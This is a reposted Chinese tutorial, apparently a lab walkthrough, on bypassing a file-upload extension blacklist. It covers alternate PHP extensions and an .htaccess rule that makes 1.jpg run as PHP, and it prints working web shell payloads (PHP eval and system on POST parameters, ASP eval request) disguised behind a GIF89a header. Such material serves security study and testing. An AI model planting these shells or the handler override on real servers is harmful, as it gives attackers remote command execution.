欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

文件上传绕过黑名单的方法

程序员文章站 2022-03-22 15:45:40
...
这篇文章主要介绍了关于文件上传绕过黑名单的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下

 本关主要通过设置上传后缀,限制asp,php,jsp 等后缀,不允许上传。

 姿势一:本次绕过方式为修改后缀为.php3,php5等,这里是黑名单验证('.asp','.aspx','.php','.jsp'),我们可上传php3,php5...等这样可以被服务器解析的后缀名

文件上传绕过黑名单的方法

姿势二:重写文件解析规则绕过

1、先上传先上传一个名为.htaccess文件,内容如下:

<FilesMatch "1.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

文件上传绕过黑名单的方法

2、上传1.jpg脚本

内容:

GIF89a
<?php eval($_POST['joker']);?>
<%eval request("joker")%>
<?php system($_POST['cmd']);?>

文件上传绕过黑名单的方法


最后查看结果如下:
文件上传绕过黑名单的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,更多相关内容请关注PHP中文网!

相关推荐:

PHP使用Azure Storage Blob上传文件

nginx memcache缓存的介绍

以上就是文件上传绕过黑名单的方法的详细内容,更多请关注其它相关文章!

相关标签: 文件上传